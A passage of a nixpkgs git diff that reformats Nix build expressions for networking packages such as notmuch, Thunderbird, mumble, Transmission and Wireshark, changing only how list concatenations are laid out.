+    substituteInPlace emacs/notmuch-emacs-mua \
+      --replace 'EMACS:-emacs' 'EMACS:-${emacs}/bin/emacs' \
+      --replace 'EMACSCLIENT:-emacsclient' 'EMACSCLIENT:-${emacs}/bin/emacsclient'
+  '';
 
-  configureFlags =
-    [
-      "--zshcompletiondir=${placeholder "out"}/share/zsh/site-functions"
-      "--bashcompletiondir=${placeholder "out"}/share/bash-completion/completions"
-      "--infodir=${placeholder "info"}/share/info"
-    ]
-    ++ lib.optional (!withEmacs) "--without-emacs"
-    ++ lib.optional withEmacs "--emacslispdir=${placeholder "emacs"}/share/emacs/site-lisp"
-    ++ lib.optional (!withRuby) "--without-ruby";
+  configureFlags = [
+    "--zshcompletiondir=${placeholder "out"}/share/zsh/site-functions"
+    "--bashcompletiondir=${placeholder "out"}/share/bash-completion/completions"
+    "--infodir=${placeholder "info"}/share/info"
+  ]
+  ++ lib.optional (!withEmacs) "--without-emacs"
+  ++ lib.optional withEmacs "--emacslispdir=${placeholder "emacs"}/share/emacs/site-lisp"
+  ++ lib.optional (!withRuby) "--without-ruby";
 
   # Notmuch doesn't use autoconf and consequently doesn't tag --bindir and
   # friends
@@ -106,15 +102,14 @@ stdenv.mkDerivation (finalAttrs: {
     cp bindings/python-cffi/_notmuch_config.py ${placeholder "bindingconfig"}/
   '';
 
-  outputs =
-    [
-      "out"
-      "man"
-      "info"
-      "bindingconfig"
-    ]
-    ++ lib.optional withEmacs "emacs"
-    ++ lib.optional withVim "vim";
+  outputs = [
+    "out"
+    "man"
+    "info"
+    "bindingconfig"
+  ]
+  ++ lib.optional withEmacs "emacs"
+  ++ lib.optional withVim "vim";
 
   # if notmuch is built with s-expression support, the testsuite (T-850.sh) only
   # passes if notmuch-git can be executed, so we need to patch its shebang.
@@ -144,19 +139,18 @@ stdenv.mkDerivation (finalAttrs: {
 
   doCheck = !stdenv.hostPlatform.isDarwin && (lib.versionAtLeast gmime3.version "3.0.3");
   checkTarget = "test";
-  nativeCheckInputs =
-    [
-      which
-      dtach
-      openssl
-      bash
-      gdb
-      man
-    ]
-    # for the test T-850.sh for notmuch-git, which is skipped when notmuch is
-    # built without sexp-support
-    ++ lib.optional withEmacs emacs
-    ++ lib.optional withSfsexp git;
+  nativeCheckInputs = [
+    which
+    dtach
+    openssl
+    bash
+    gdb
+    man
+  ]
+  # for the test T-850.sh for notmuch-git, which is skipped when notmuch is
+  # built without sexp-support
+  ++ lib.optional withEmacs emacs
+  ++ lib.optional withSfsexp git;
 
   installTargets = [
     "install"
diff --git a/pkgs/applications/networking/mailreaders/notmuch/mutt.nix b/pkgs/applications/networking/mailreaders/notmuch/mutt.nix
index c1a1137564d1..a8e304a65b42 100644
--- a/pkgs/applications/networking/mailreaders/notmuch/mutt.nix
+++ b/pkgs/applications/networking/mailreaders/notmuch/mutt.nix
@@ -17,20 +17,19 @@ stdenv.mkDerivation {
   dontStrip = true;
 
   nativeBuildInputs = [ makeWrapper ];
-  buildInputs =
-    [
-      perl
-    ]
-    ++ (with perlPackages; [
-      FileRemove
-      DigestSHA1
-      Later
-      MailBox
-      MailMaildir
-      MailTools
-      StringShellQuote
-      TermReadLineGnu
-    ]);
+  buildInputs = [
+    perl
+  ]
+  ++ (with perlPackages; [
+    FileRemove
+    DigestSHA1
+    Later
+    MailBox
+    MailMaildir
+    MailTools
+    StringShellQuote
+    TermReadLineGnu
+  ]);
 
   src = notmuch.src;
 
diff --git a/pkgs/applications/networking/mailreaders/thunderbird-bin/default.nix b/pkgs/applications/networking/mailreaders/thunderbird-bin/default.nix
index 63c682a960c7..6912941c68a1 100644
--- a/pkgs/applications/networking/mailreaders/thunderbird-bin/default.nix
+++ b/pkgs/applications/networking/mailreaders/thunderbird-bin/default.nix
@@ -45,7 +45,8 @@ let
 
   policies = {
     DisableAppUpdate = true;
-  } // config.thunderbird.policies or { };
+  }
+  // config.thunderbird.policies or { };
   policiesJson = writeText "thunderbird-policies.json" (builtins.toJSON { inherit policies; });
 
   defaultSource = lib.findFirst (sourceMatches "en-US") { } sources;
diff --git a/pkgs/applications/networking/mailreaders/thunderbird/packages.nix b/pkgs/applications/networking/mailreaders/thunderbird/packages.nix
index d2c19ccf8112..95476deafc6e 100644
--- a/pkgs/applications/networking/mailreaders/thunderbird/packages.nix
+++ b/pkgs/applications/networking/mailreaders/thunderbird/packages.nix
@@ -44,19 +44,18 @@ let
         url = "mirror://mozilla/thunderbird/releases/${version}/source/thunderbird-${version}.source.tar.xz";
         inherit sha512;
       };
-      extraPatches =
-        [
-          # The file to be patched is different from firefox's `no-buildconfig-ffx90.patch`.
-          (if lib.versionOlder version "140" then ./no-buildconfig.patch else ./no-buildconfig-tb140.patch)
-        ]
-        ++ lib.optionals (lib.versionOlder version "139") [
-          # clang-19 fixes for char_traits build issue
-          # https://github.com/rnpgp/rnp/pull/2242/commits/e0790a2c4ff8e09d52522785cec1c9db23d304ac
-          # https://github.com/rnpgp/sexpp/pull/54/commits/46744a14ffc235330bb99cebfaf294829c31bba4
-          # Remove when upstream bumps bundled rnp version: https://bugzilla.mozilla.org/show_bug.cgi?id=1893950
-          ./0001-Removed-lookup-against-basic_string-uint8_t.patch
-          ./0001-Implemented-char_traits-for-SEXP-octet_t.patch
-        ];
+      extraPatches = [
+        # The file to be patched is different from firefox's `no-buildconfig-ffx90.patch`.
+        (if lib.versionOlder version "140" then ./no-buildconfig.patch else ./no-buildconfig-tb140.patch)
+      ]
+      ++ lib.optionals (lib.versionOlder version "139") [
+        # clang-19 fixes for char_traits build issue
+        # https://github.com/rnpgp/rnp/pull/2242/commits/e0790a2c4ff8e09d52522785cec1c9db23d304ac
+        # https://github.com/rnpgp/sexpp/pull/54/commits/46744a14ffc235330bb99cebfaf294829c31bba4
+        # Remove when upstream bumps bundled rnp version: https://bugzilla.mozilla.org/show_bug.cgi?id=1893950
+        ./0001-Removed-lookup-against-basic_string-uint8_t.patch
+        ./0001-Implemented-char_traits-for-SEXP-octet_t.patch
+      ];
 
       extraPassthru = {
         icu73 = icu73';
diff --git a/pkgs/applications/networking/mailreaders/thunderbird/wrapper.nix b/pkgs/applications/networking/mailreaders/thunderbird/wrapper.nix
index 88499068e953..6ecddebe7845 100644
--- a/pkgs/applications/networking/mailreaders/thunderbird/wrapper.nix
+++ b/pkgs/applications/networking/mailreaders/thunderbird/wrapper.nix
@@ -23,11 +23,9 @@ browser: args:
     # https://anweshadas.in/how-to-use-yubikey-or-any-gpg-smartcard-in-thunderbird-78/
     # For that to work out of the box, it requires `gnupg` on PATH and
     # `gpgme` in `LD_LIBRARY_PATH`; we do this below.
-    buildCommand =
-      old.buildCommand
-      + ''
-        wrapProgram "$executablePath" \
-          --prefix LD_LIBRARY_PATH ':' "${lib.makeLibraryPath [ gpgme ]}" \
-          --prefix PATH ':' "${lib.makeBinPath [ gnupg ]}"
-      '';
+    buildCommand = old.buildCommand + ''
+      wrapProgram "$executablePath" \
+        --prefix LD_LIBRARY_PATH ':' "${lib.makeLibraryPath [ gpgme ]}" \
+        --prefix PATH ':' "${lib.makeBinPath [ gnupg ]}"
+    '';
   })
diff --git a/pkgs/applications/networking/mkchromecast/default.nix b/pkgs/applications/networking/mkchromecast/default.nix
index e431ad81b6af..bce52f2cad08 100644
--- a/pkgs/applications/networking/mkchromecast/default.nix
+++ b/pkgs/applications/networking/mkchromecast/default.nix
@@ -28,7 +28,8 @@ let
     nodejs
     ffmpeg
     youtube-dl
-  ] ++ lib.optionals stdenv.hostPlatform.isLinux [ pulseaudio ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ pulseaudio ];
 
 in
 python3Packages.buildPythonApplication {
@@ -77,16 +78,15 @@ python3Packages.buildPythonApplication {
     "--prefix PATH : ${lib.makeBinPath packages}"
   ];
 
-  postInstall =
-    ''
-      substituteInPlace $out/${python3Packages.python.sitePackages}/mkchromecast/video.py \
-        --replace '/usr/share/mkchromecast/nodejs/' '${placeholder "out"}/share/mkchromecast/nodejs/'
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      install -Dm 755 -t $out/bin bin/audiodevice
-      substituteInPlace $out/${python3Packages.python.sitePackages}/mkchromecast/audio_devices.py \
-        --replace './bin/audiodevice' '${placeholder "out"}/bin/audiodevice'
-    '';
+  postInstall = ''
+    substituteInPlace $out/${python3Packages.python.sitePackages}/mkchromecast/video.py \
+      --replace '/usr/share/mkchromecast/nodejs/' '${placeholder "out"}/share/mkchromecast/nodejs/'
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    install -Dm 755 -t $out/bin bin/audiodevice
+    substituteInPlace $out/${python3Packages.python.sitePackages}/mkchromecast/audio_devices.py \
+      --replace './bin/audiodevice' '${placeholder "out"}/bin/audiodevice'
+  '';
 
   meta = with lib; {
     homepage = "https://mkchromecast.com/";
diff --git a/pkgs/applications/networking/msmtp/default.nix b/pkgs/applications/networking/msmtp/default.nix
index 60946106d0dd..572ed707e8c0 100644
--- a/pkgs/applications/networking/msmtp/default.nix
+++ b/pkgs/applications/networking/msmtp/default.nix
@@ -53,13 +53,15 @@ let
     configureFlags = [
       "--sysconfdir=/etc"
       "--with-libgsasl"
-    ] ++ optionals stdenv.hostPlatform.isDarwin [ "--with-macosx-keyring" ];
+    ]
+    ++ optionals stdenv.hostPlatform.isDarwin [ "--with-macosx-keyring" ];
 
     buildInputs = [
       gnutls
       gsasl
       libidn2
-    ] ++ optionals withKeyring [ libsecret ];
+    ]
+    ++ optionals withKeyring [ libsecret ];
 
     nativeBuildInputs = [
       autoreconfHook
@@ -118,15 +120,15 @@ let
           gnugrep
           netcat-gnu
           which
-        ] ++ optionals withSystemd [ systemd ];
-        execer =
-          [
-            "cannot:${getBin binaries}/bin/msmtp"
-            "cannot:${getBin netcat-gnu}/bin/nc"
-          ]
-          ++ optionals withSystemd [
-            "cannot:${getBin systemd}/bin/systemd-cat"
-          ];
+        ]
+        ++ optionals withSystemd [ systemd ];
+        execer = [
+          "cannot:${getBin binaries}/bin/msmtp"
+          "cannot:${getBin netcat-gnu}/bin/nc"
+        ]
+        ++ optionals withSystemd [
+          "cannot:${getBin systemd}/bin/systemd-cat"
+        ];
         fix."$MSMTP" = [ "msmtp" ];
         fake.external = [ "ping" ] ++ optionals (!withSystemd) [ "systemd-cat" ];
         keep.source = [ "~/.msmtpqrc" ];
diff --git a/pkgs/applications/networking/mullvad/openvpn.nix b/pkgs/applications/networking/mullvad/openvpn.nix
index 95c48d771758..13fc02cbb139 100644
--- a/pkgs/applications/networking/mullvad/openvpn.nix
+++ b/pkgs/applications/networking/mullvad/openvpn.nix
@@ -36,31 +36,30 @@ openvpn.overrideAttrs (
 
     buildInputs = oldAttrs.buildInputs or [ ] ++ optional stdenv.hostPlatform.isLinux [ libnl.dev ];
 
-    configureFlags =
-      [
-        # Assignment instead of appending to make sure to use exactly the flags required by mullvad
+    configureFlags = [
+      # Assignment instead of appending to make sure to use exactly the flags required by mullvad
 
-        # Flags are based on https://github.com/mullvad/mullvadvpn-app-binaries/blob/main/Makefile#L17
-        "--enable-static"
-        "--disable-shared"
-        "--disable-debug"
-        "--disable-plugin-down-root"
-        "--disable-management"
-        "--disable-port-share"
-        "--disable-systemd"
-        "--disable-dependency-tracking"
-        "--disable-pkcs11"
-        "--disable-plugin-auth-pam"
-        "--enable-plugins"
-        "--disable-lzo"
-        "--disable-lz4"
-        "--enable-comp-stub"
-      ]
-      ++ optional stdenv.hostPlatform.isLinux [
-        # Flags are based on https://github.com/mullvad/mullvadvpn-app-binaries/blob/main/Makefile#L35
-        "--enable-dco" # requires libnl
-        "--disable-iproute2"
-      ];
+      # Flags are based on https://github.com/mullvad/mullvadvpn-app-binaries/blob/main/Makefile#L17
+      "--enable-static"
+      "--disable-shared"
+      "--disable-debug"
+      "--disable-plugin-down-root"
+      "--disable-management"
+      "--disable-port-share"
+      "--disable-systemd"
+      "--disable-dependency-tracking"
+      "--disable-pkcs11"
+      "--disable-plugin-auth-pam"
+      "--enable-plugins"
+      "--disable-lzo"
+      "--disable-lz4"
+      "--enable-comp-stub"
+    ]
+    ++ optional stdenv.hostPlatform.isLinux [
+      # Flags are based on https://github.com/mullvad/mullvadvpn-app-binaries/blob/main/Makefile#L35
+      "--enable-dco" # requires libnl
+      "--disable-iproute2"
+    ];
 
     patches = oldAttrs.patches or [ ] ++ [
       # look at compare to find the relevant commits
@@ -103,11 +102,9 @@ openvpn.overrideAttrs (
         sha256 = "sha256-Via62wKVfMWHTmO7xIXXO7b5k0KYHs1D0JVg3qnXkeM=";
       })
     ];
-    postPatch =
-      oldAttrs.postPatch or ""
-      + ''
-        rm ./configure
-      '';
+    postPatch = oldAttrs.postPatch or "" + ''
+      rm ./configure
+    '';
 
     meta = oldAttrs.meta or { } // {
       description = "OpenVPN with Mullvad-specific patches applied";
diff --git a/pkgs/applications/networking/mumble/default.nix b/pkgs/applications/networking/mumble/default.nix
index 2b85dcdf17d1..fda05185adff 100644
--- a/pkgs/applications/networking/mumble/default.nix
+++ b/pkgs/applications/networking/mumble/default.nix
@@ -55,18 +55,18 @@ let
           python3
           qt5.wrapQtAppsHook
           qt5.qttools
-        ] ++ (overrides.nativeBuildInputs or [ ]);
+        ]
+        ++ (overrides.nativeBuildInputs or [ ]);
 
-        buildInputs =
-          [
-            boost
-            poco
-            protobuf
-            microsoft-gsl
-            nlohmann_json
-          ]
-          ++ lib.optionals stdenv.hostPlatform.isLinux [ avahi ]
-          ++ (overrides.buildInputs or [ ]);
+        buildInputs = [
+          boost
+          poco
+          protobuf
+          microsoft-gsl
+          nlohmann_json
+        ]
+        ++ lib.optionals stdenv.hostPlatform.isLinux [ avahi ]
+        ++ (overrides.buildInputs or [ ]);
 
         cmakeFlags = [
           "-D g15=OFF"
@@ -74,7 +74,8 @@ let
           "-D BUILD_NUMBER=${lib.versions.patch source.version}"
           "-D bundled-gsl=OFF"
           "-D bundled-json=OFF"
-        ] ++ (overrides.cmakeFlags or [ ]);
+        ]
+        ++ (overrides.cmakeFlags or [ ]);
 
         preConfigure = ''
           patchShebangs scripts
@@ -101,31 +102,31 @@ let
       type = "mumble";
 
       platforms = lib.platforms.darwin;
-      nativeBuildInputs =
-        [ qt5.qttools ]
-        ++ lib.optionals stdenv.hostPlatform.isDarwin [
-          makeWrapper
-        ];
+      nativeBuildInputs = [
+        qt5.qttools
+      ]
+      ++ lib.optionals stdenv.hostPlatform.isDarwin [
+        makeWrapper
+      ];
 
-      buildInputs =
-        [
-          flac
-          libogg
-          libopus
-          libsndfile
-          libvorbis
-          speexdsp
-          qt5.qtsvg
-          rnnoise
-        ]
-        ++ lib.optional (!jackSupport && alsaSupport) alsa-lib
-        ++ lib.optional jackSupport libjack2
-        ++ lib.optional speechdSupport speechd-minimal
-        ++ lib.optional pulseSupport libpulseaudio
-        ++ lib.optional pipewireSupport pipewire
-        ++ lib.optionals stdenv.hostPlatform.isDarwin [
-          xar
-        ];
+      buildInputs = [
+        flac
+        libogg
+        libopus
+        libsndfile
+        libvorbis
+        speexdsp
+        qt5.qtsvg
+        rnnoise
+      ]
+      ++ lib.optional (!jackSupport && alsaSupport) alsa-lib
+      ++ lib.optional jackSupport libjack2
+      ++ lib.optional speechdSupport speechd-minimal
+      ++ lib.optional pulseSupport libpulseaudio
+      ++ lib.optional pipewireSupport pipewire
+      ++ lib.optionals stdenv.hostPlatform.isDarwin [
+        xar
+      ];
 
       cmakeFlags = [
         "-D server=OFF"
@@ -194,15 +195,14 @@ let
     generic {
       type = "murmur";
 
-      cmakeFlags =
-        [
-          "-D client=OFF"
-          (lib.cmakeBool "ice" iceSupport)
-        ]
-        ++ lib.optionals iceSupport [
-          "-D Ice_HOME=${lib.getDev zeroc-ice};${lib.getLib zeroc-ice}"
-          "-D Ice_SLICE_DIR=${lib.getDev zeroc-ice}/share/ice/slice"
-        ];
+      cmakeFlags = [
+        "-D client=OFF"
+        (lib.cmakeBool "ice" iceSupport)
+      ]
+      ++ lib.optionals iceSupport [
+        "-D Ice_HOME=${lib.getDev zeroc-ice};${lib.getLib zeroc-ice}"
+        "-D Ice_SLICE_DIR=${lib.getDev zeroc-ice}/share/ice/slice"
+      ];
 
       buildInputs = [ libcap ] ++ lib.optional iceSupport zeroc-ice;
     } source;
diff --git a/pkgs/applications/networking/p2p/deluge/default.nix b/pkgs/applications/networking/p2p/deluge/default.nix
index 7be43c9fa944..ed92d5e97e7a 100644
--- a/pkgs/applications/networking/p2p/deluge/default.nix
+++ b/pkgs/applications/networking/p2p/deluge/default.nix
@@ -55,15 +55,14 @@ let
           pygobject3
         ];
 
-      nativeBuildInputs =
-        [
-          intltool
-          glib
-        ]
-        ++ optionals withGUI [
-          gobject-introspection
-          wrapGAppsHook3
-        ];
+      nativeBuildInputs = [
+        intltool
+        glib
+      ]
+      ++ optionals withGUI [
+        gobject-introspection
+        wrapGAppsHook3
+      ];
 
       nativeCheckInputs = with pypkgs; [
         pytestCheckHook
@@ -76,24 +75,23 @@ let
 
       doCheck = false; # tests are not working at all
 
-      postInstall =
-        ''
-          install -Dm444 -t $out/lib/systemd/system packaging/systemd/*.service
-        ''
-        + (
-          if withGUI then
-            ''
-              mkdir -p $out/share
-              cp -R deluge/ui/data/{icons,pixmaps} $out/share/
-              install -Dm444 -t $out/share/applications deluge/ui/data/share/applications/deluge.desktop
-            ''
-          else
-            ''
-              rm -r $out/bin/deluge-gtk
-              rm -r $out/${python3Packages.python.sitePackages}/deluge/ui/gtk3
-              rm -r $out/share/{icons,man/man1/deluge-gtk*,pixmaps}
-            ''
-        );
+      postInstall = ''
+        install -Dm444 -t $out/lib/systemd/system packaging/systemd/*.service
+      ''
+      + (
+        if withGUI then
+          ''
+            mkdir -p $out/share
+            cp -R deluge/ui/data/{icons,pixmaps} $out/share/
+            install -Dm444 -t $out/share/applications deluge/ui/data/share/applications/deluge.desktop
+          ''
+        else
+          ''
+            rm -r $out/bin/deluge-gtk
+            rm -r $out/${python3Packages.python.sitePackages}/deluge/ui/gtk3
+            rm -r $out/share/{icons,man/man1/deluge-gtk*,pixmaps}
+          ''
+      );
 
       postFixup = ''
         for f in $out/lib/systemd/system/*; do
diff --git a/pkgs/applications/networking/p2p/eiskaltdcpp/default.nix b/pkgs/applications/networking/p2p/eiskaltdcpp/default.nix
index 5b122cc3fe55..116a1faaced0 100644
--- a/pkgs/applications/networking/p2p/eiskaltdcpp/default.nix
+++ b/pkgs/applications/networking/p2p/eiskaltdcpp/default.nix
@@ -63,7 +63,8 @@ mkDerivation rec {
         TermShellUI
       ]
     ))
-  ] ++ lib.optional stdenv.hostPlatform.isDarwin libiconv;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin libiconv;
 
   cmakeFlags = [
     "-DDBUS_NOTIFY=ON"
diff --git a/pkgs/applications/networking/p2p/gnunet/default.nix b/pkgs/applications/networking/p2p/gnunet/default.nix
index a1035f6df846..d3ba7c0fa129 100644
--- a/pkgs/applications/networking/p2p/gnunet/default.nix
+++ b/pkgs/applications/networking/p2p/gnunet/default.nix
@@ -78,7 +78,8 @@ stdenv.mkDerivation (finalAttrs: {
     ncurses
     sqlite
     zlib
-  ] ++ lib.optional postgresqlSupport libpq;
+  ]
+  ++ lib.optional postgresqlSupport libpq;
 
   strictDeps = true;
 
diff --git a/pkgs/applications/networking/p2p/jesec-rtorrent/default.nix b/pkgs/applications/networking/p2p/jesec-rtorrent/default.nix
index 78f804fc6bce..ecc0ff81ad70 100644
--- a/pkgs/applications/networking/p2p/jesec-rtorrent/default.nix
+++ b/pkgs/applications/networking/p2p/jesec-rtorrent/default.nix
@@ -36,21 +36,19 @@ stdenv.mkDerivation rec {
     cmake
   ];
 
-  buildInputs =
-    [
-      curl
-      libtorrent
-      ncurses
-    ]
-    ++ lib.optional jsonRpcSupport nlohmann_json
-    ++ lib.optional xmlRpcSupport xmlrpc_c;
+  buildInputs = [
+    curl
+    libtorrent
+    ncurses
+  ]
+  ++ lib.optional jsonRpcSupport nlohmann_json
+  ++ lib.optional xmlRpcSupport xmlrpc_c;
 
-  cmakeFlags =
-    [
-      "-DUSE_RUNTIME_CA_DETECTION=NO"
-    ]
-    ++ lib.optional (!jsonRpcSupport) "-DUSE_JSONRPC=NO"
-    ++ lib.optional (!xmlRpcSupport) "-DUSE_XMLRPC=NO";
+  cmakeFlags = [
+    "-DUSE_RUNTIME_CA_DETECTION=NO"
+  ]
+  ++ lib.optional (!jsonRpcSupport) "-DUSE_JSONRPC=NO"
+  ++ lib.optional (!xmlRpcSupport) "-DUSE_XMLRPC=NO";
 
   doCheck = true;
 
diff --git a/pkgs/applications/networking/p2p/mldonkey/default.nix b/pkgs/applications/networking/p2p/mldonkey/default.nix
index fb8cd5bf7197..dc78bfa05819 100644
--- a/pkgs/applications/networking/p2p/mldonkey/default.nix
+++ b/pkgs/applications/networking/p2p/mldonkey/default.nix
@@ -49,14 +49,13 @@ stdenv.mkDerivation rec {
     cd ..
   '';
 
-  env =
-    {
-      NIX_CFLAGS_COMPILE = "-Wno-error=implicit-function-declaration";
-    }
-    # https://github.com/ygrek/mldonkey/issues/117
-    // lib.optionalAttrs stdenv.cc.isClang {
-      CXXFLAGS = "-std=c++98";
-    };
+  env = {
+    NIX_CFLAGS_COMPILE = "-Wno-error=implicit-function-declaration";
+  }
+  # https://github.com/ygrek/mldonkey/issues/117
+  // lib.optionalAttrs stdenv.cc.isClang {
+    CXXFLAGS = "-std=c++98";
+  };
 
   meta = {
     description = "Client for many p2p networks, with multiple frontends";
diff --git a/pkgs/applications/networking/p2p/transmission/4.nix b/pkgs/applications/networking/p2p/transmission/4.nix
index 5a303aa17a94..be91f8d4bf07 100644
--- a/pkgs/applications/networking/p2p/transmission/4.nix
+++ b/pkgs/applications/networking/p2p/transmission/4.nix
@@ -91,19 +91,18 @@ stdenv.mkDerivation (finalAttrs: {
     "apparmor"
   ];
 
-  cmakeFlags =
-    [
-      (cmakeBool "ENABLE_CLI" enableCli)
-      (cmakeBool "ENABLE_DAEMON" enableDaemon)
-      (cmakeBool "ENABLE_GTK" enableGTK3)
-      (cmakeBool "ENABLE_MAC" false) # requires xcodebuild
-      (cmakeBool "ENABLE_QT" (enableQt5 || enableQt6))
-      (cmakeBool "INSTALL_LIB" installLib)
-    ]
-    ++ optionals stdenv.hostPlatform.isDarwin [
-      # Transmission sets this to 10.13 if not explicitly specified, see https://github.com/transmission/transmission/blob/0be7091eb12f4eb55f6690f313ef70a66795ee72/CMakeLists.txt#L7-L16.
-      "-DCMAKE_OSX_DEPLOYMENT_TARGET=${stdenv.hostPlatform.darwinMinVersion}"
-    ];
+  cmakeFlags = [
+    (cmakeBool "ENABLE_CLI" enableCli)
+    (cmakeBool "ENABLE_DAEMON" enableDaemon)
+    (cmakeBool "ENABLE_GTK" enableGTK3)
+    (cmakeBool "ENABLE_MAC" false) # requires xcodebuild
+    (cmakeBool "ENABLE_QT" (enableQt5 || enableQt6))
+    (cmakeBool "INSTALL_LIB" installLib)
+  ]
+  ++ optionals stdenv.hostPlatform.isDarwin [
+    # Transmission sets this to 10.13 if not explicitly specified, see https://github.com/transmission/transmission/blob/0be7091eb12f4eb55f6690f313ef70a66795ee72/CMakeLists.txt#L7-L16.
+    "-DCMAKE_OSX_DEPLOYMENT_TARGET=${stdenv.hostPlatform.darwinMinVersion}"
+  ];
 
   postPatch = ''
     # Clean third-party libraries to ensure system ones are used.
@@ -126,54 +125,52 @@ stdenv.mkDerivation (finalAttrs: {
       --replace-fail '#if defined(HAVE_GETTEXT) && !defined(__APPLE__)' '#if defined(HAVE_GETTEXT)'
   '';
 
-  nativeBuildInputs =
-    [
-      pkg-config
-      cmake
-      python3
-    ]
-    ++ optionals enableGTK3 [ wrapGAppsHook3 ]
-    ++ optionals enableQt5 [ qt5.wrapQtAppsHook ]
-    ++ optionals enableQt6 [ qt6Packages.wrapQtAppsHook ];
+  nativeBuildInputs = [
+    pkg-config
+    cmake
+    python3
+  ]
+  ++ optionals enableGTK3 [ wrapGAppsHook3 ]
+  ++ optionals enableQt5 [ qt5.wrapQtAppsHook ]
+  ++ optionals enableQt6 [ qt6Packages.wrapQtAppsHook ];
 
-  buildInputs =
+  buildInputs = [
+    curl
+    dht
+    fmt
+    libb64
+    libdeflate
+    libevent
+    libnatpmp
+    libpsl
+    libutp
+    miniupnpc
+    openssl
+    pcre
+    utf8cpp
+    zlib
+  ]
+  ++ optionals enableQt5 (
+    with qt5;
     [
-      curl
-      dht
-      fmt
-      libb64
-      libdeflate
-      libevent
-      libnatpmp
-      libpsl
-      libutp
-      miniupnpc
-      openssl
-      pcre
-      utf8cpp
-      zlib
+      qttools
+      qtbase
     ]
-    ++ optionals enableQt5 (
-      with qt5;
-      [
-        qttools
-        qtbase
-      ]
-    )
-    ++ optionals enableQt6 (
-      with qt6Packages;
-      [
-        qttools
-        qtbase
-        qtsvg
-      ]
-    )
-    ++ optionals enableGTK3 [
-      gtkmm3
-      xorg.libpthreadstubs
+  )
+  ++ optionals enableQt6 (
+    with qt6Packages;
+    [
+      qttools
+      qtbase
+      qtsvg
     ]
-    ++ optionals enableSystemd [ systemd ]
-    ++ optionals stdenv.hostPlatform.isLinux [ inotify-tools ];
+  )
+  ++ optionals enableGTK3 [
+    gtkmm3
+    xorg.libpthreadstubs
+  ]
+  ++ optionals enableSystemd [ systemd ]
+  ++ optionals stdenv.hostPlatform.isLinux [ inotify-tools ];
 
   postInstall = ''
     mkdir $apparmor
diff --git a/pkgs/applications/networking/protonvpn-gui/default.nix b/pkgs/applications/networking/protonvpn-gui/default.nix
index eb4d15dc1986..4bf110502db6 100644
--- a/pkgs/applications/networking/protonvpn-gui/default.nix
+++ b/pkgs/applications/networking/protonvpn-gui/default.nix
@@ -38,16 +38,15 @@ buildPythonApplication rec {
     wrapGAppsHook3
   ];
 
-  buildInputs =
-    [
-      libnotify # gir typelib is used
-    ]
-    ++ lib.optionals withIndicator [
-      # Adds AppIndicator3 namespace
-      libappindicator-gtk3
-      # Adds AyatanaAppIndicator3 namespace
-      libayatana-appindicator
-    ];
+  buildInputs = [
+    libnotify # gir typelib is used
+  ]
+  ++ lib.optionals withIndicator [
+    # Adds AppIndicator3 namespace
+    libappindicator-gtk3
+    # Adds AyatanaAppIndicator3 namespace
+    libayatana-appindicator
+  ];
 
   build-system = [
     setuptools
diff --git a/pkgs/applications/networking/seafile-client/default.nix b/pkgs/applications/networking/seafile-client/default.nix
index 7b3ae093fcc1..9908879b4fb7 100644
--- a/pkgs/applications/networking/seafile-client/default.nix
+++ b/pkgs/applications/networking/seafile-client/default.nix
@@ -37,7 +37,8 @@ stdenv.mkDerivation rec {
     seafile-shared
     jansson
     libsearpc
-  ] ++ lib.optional withShibboleth qtwebengine;
+  ]
+  ++ lib.optional withShibboleth qtwebengine;
 
   cmakeFlags = lib.optional withShibboleth "-DBUILD_SHIBBOLETH_SUPPORT=ON";
 
diff --git a/pkgs/applications/networking/sniffers/qtwirediff/default.nix b/pkgs/applications/networking/sniffers/qtwirediff/default.nix
index ba42abae84c8..f5be6f968381 100644
--- a/pkgs/applications/networking/sniffers/qtwirediff/default.nix
+++ b/pkgs/applications/networking/sniffers/qtwirediff/default.nix
@@ -25,31 +25,29 @@ stdenv.mkDerivation {
     wrapQtAppsHook
   ];
 
-  buildInputs =
-    [
-      qtbase
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      qtwayland
-    ];
+  buildInputs = [
+    qtbase
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    qtwayland
+  ];
 
-  installPhase =
-    ''
-      runHook preInstall
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      mkdir -p $out/Applications
-      cp -r qtwirediff.app $out/Applications
-      makeWrapper $out/{Applications/qtwirediff.app/Contents/MacOS,bin}/qtwirediff
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      install -Dm755 -T qtwirediff $out/bin/qtwirediff
-      wrapProgram $out/bin/qtwirediff \
-        --prefix PATH : "${lib.makeBinPath [ wireshark-cli ]}"
-    ''
-    + ''
-      runHook postInstall
-    '';
+  installPhase = ''
+    runHook preInstall
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    mkdir -p $out/Applications
+    cp -r qtwirediff.app $out/Applications
+    makeWrapper $out/{Applications/qtwirediff.app/Contents/MacOS,bin}/qtwirediff
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    install -Dm755 -T qtwirediff $out/bin/qtwirediff
+    wrapProgram $out/bin/qtwirediff \
+      --prefix PATH : "${lib.makeBinPath [ wireshark-cli ]}"
+  ''
+  + ''
+    runHook postInstall
+  '';
 
   meta = {
     description = "Debugging tool to diff network traffic leveraging Wireshark";
diff --git a/pkgs/applications/networking/sniffers/wireshark/default.nix b/pkgs/applications/networking/sniffers/wireshark/default.nix
index 8ec142b4205d..ae149b71da81 100644
--- a/pkgs/applications/networking/sniffers/wireshark/default.nix
+++ b/pkgs/applications/networking/sniffers/wireshark/default.nix
@@ -78,91 +78,88 @@ stdenv.mkDerivation rec {
     buildPackages.stdenv.cc
   ];
 
-  nativeBuildInputs =
-    [
-      asciidoctor
-      bison
-      cmake
-      flex
-      makeWrapper
-      ninja
-      perl
-      pkg-config
-      python3
-    ]
-    ++ lib.optionals withQt [
-      qt6.wrapQtAppsHook
-      wrapGAppsHook3
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      fixDarwinDylibNames
-    ];
+  nativeBuildInputs = [
+    asciidoctor
+    bison
+    cmake
+    flex
+    makeWrapper
+    ninja
+    perl
+    pkg-config
+    python3
+  ]
+  ++ lib.optionals withQt [
+    qt6.wrapQtAppsHook
